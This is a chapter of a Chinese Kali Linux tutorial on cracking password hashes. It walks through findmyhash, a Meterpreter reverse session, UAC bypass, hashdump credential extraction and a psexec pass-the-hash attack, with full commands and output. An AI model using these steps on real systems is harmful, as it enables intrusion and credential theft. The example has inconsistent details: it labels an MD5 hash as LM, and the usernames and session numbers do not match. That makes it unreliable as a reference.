- 8.3 破解LM Hashes密码
8.3 破解LM Hashes密码
LM(LAN Manager)Hash是Windows操作系统最早使用的密码哈希算法之一。在Windows 2000、XP、Vista和Windows 7中使用了更先进的NTLMv2之前,这是唯一可用的版本。这些新的操作系统虽然可以支持使用LM哈希,但主要是为了提供向后兼容性。不过在Windows Vista和Windows 7中,该算法默认是被禁用的。本节将介绍如何破解LM Hashes密码。
在Kali Linux中,可以使用findmyhash工具破解LM Hashes密码。其中,findmyhash命令的语法格式如下所示:
findmyhash <Encryption> -h hash
以上语法中,各个选项含义如下所示。
- Encryption:指定使用的哈希加密类型。
- -h:指定要破解的LM哈希值。
【实例8-2】使用findmyhash命令攻击LM Hashes密码。执行命令如下所示:
root@kali:~# findmyhash MD5 -h 5f4dcc3b5aa765d61d8327deb882cf99Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99Analyzing with md5hood (http://md5hood.com)…… hash not found in md5hoodAnalyzing with stringfunction (http://www.stringfunction.com)…… hash not found in stringfunctionAnalyzing with 99k.org (http://xanadrel.99k.org)…… hash not found in 99k.orgAnalyzing with sans (http://isc.sans.edu)…… hash not found in sansAnalyzing with bokehman (http://bokehman.com)…… hash not found in bokehmanAnalyzing with goog.li (http://goog.li)…… hash not found in goog.liAnalyzing with schwett (http://schwett.com)…… hash not found in schwettAnalyzing with netmd5crack (http://www.netmd5crack.com)…… hash not found in netmd5crackAnalyzing with md5-cracker (http://www.md5-cracker.tk)…… hash not found in md5-crackerAnalyzing with benramsey (http://tools.benramsey.com)…… hash not found in benramseyAnalyzing with gromweb (http://md5.gromweb.com)…***** HASH CRACKED!! *****The original string is: passwordThe following hashes were cracked:----------------------------------5f4dcc3b5aa765d61d8327deb882cf99 -> password
以上输出的信息是攻击LM Hashes密码的过程。经过一番的攻击,最后获取到哈希值5f4dcc3b5aa765d61d8327deb882cf99的原始密码是password。
如果觉得破解LM Hashes太慢的话,可以使用Metasploit中的psexec模块绕过Hash值。下面将介绍使用psexec模块绕过Hash值的方法。
(1)通过在目标主机(Windows 7)上运行Veil创建的可执行文件backup.exe,成功获取一个活跃的远程会话,如下所示:
[*] Started reverse handler on 192.168.6.103:4444[*] Starting the payload handler…[*] Sending stage (769536 bytes) to 192.168.6.106[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22 15:29:55 +0800
从以上信息中,可以看到成功打开了会话1。
(2)查看用户权限信息。执行命令如下所示:
meterpreter > getuidServer username: WIN-RKPKQFBLG6C\lyw
从输出的信息中,可以看到该用户的权限是一个普通权限。接下来,使用bypassuac模块绕过UAC。
(3)设置lyw用户绕过UAC。执行命令如下所示:
meterpreter > background[*] Backgrounding session 1…msf exploit(handler) > use exploit/windows/local/bypassuacmsf exploit(bypassuac) > set session 1session => 1msf exploit(bypassuac) > exploit[*] Started reverse handler on 192.168.6.103:4444[*] UAC is Enabled, checking level…[+] UAC is set to Default[+] BypassUAC can bypass this setting, continuing…[+] Part of Administrators group! Continuing…[*] Uploaded the agent to the filesystem….[*] Uploading the bypass UAC executable to the filesystem…[*] Meterpreter stager executable 73802 bytes long being uploaded..[*] Sending stage (769536 bytes) to 192.168.6.106[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22 15:34:38 +0800meterpreter > getsystem…got system (via technique 1).meterpreter > getuidServer username: NT AUTHORITY\SYSTEM
从输出的信息中,可以看到此时lyw用户权限已经为SYSTEM。
(4)查看目标主机上所有用户的哈希密码值。执行命令如下所示:
meterpreter > run post/windows/gather/hashdump[*] Obtaining the boot key…[*] Calculating the hboot key using SYSKEY 45fa5958a01cf2b66b73daa174b19dae…[*] Obtaining the user list and keys…[*] Decrypting user keys…[*] Dumping password hints…Test:"123"[*] Dumping password hashes…Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:daf26fce5b47e01aae0f919f529926e3:::lyw:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::alice:1004:aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec:::
从输出的信息中,可以看到捕获到六个用户的哈希密码值。此时,可以使用SMB psexec模块绕过Hash值。
(5)后台运行会话2。执行命令如下所示:
meterpreter > background[*] Backgrounding session 2…
(6)使用SMB psexec模块,并设置需要的配置选项参数。执行命令如下所示:
msf exploit(bypassuac) > use exploit/windows/smb/psexecmsf exploit(psexec) > set RHOST 192.168.6.114 #设置远程主机地址RHOST => 192.168.6.114msf exploit(psexec) > set SMBUser Test #设置SMB用户SMBUser => alicemsf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec #设置SMB密码SMBPass => aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec
(7)启动攻击。执行命令如下所示:
msf exploit(psexec) > exploit[*] Started reverse handler on 192.168.6.103:4444[*] Connecting to the server…[*] Authenticating to 192.168.6.114:445|WORKGROUP as user 'lyw'…[*] Uploading payload…[*] Created \XBotpcOY.exe…[*] Deleting \XBotpcOY.exe…[*] Sending stage (769536 bytes) to 192.168.6.114[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192.168.6.114:49159) at 2014-07-22 17:32:13 +0800
从输出的信息中,可以看到使用“Test”用户成功的打开了一个会话。
原文: https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/43.html
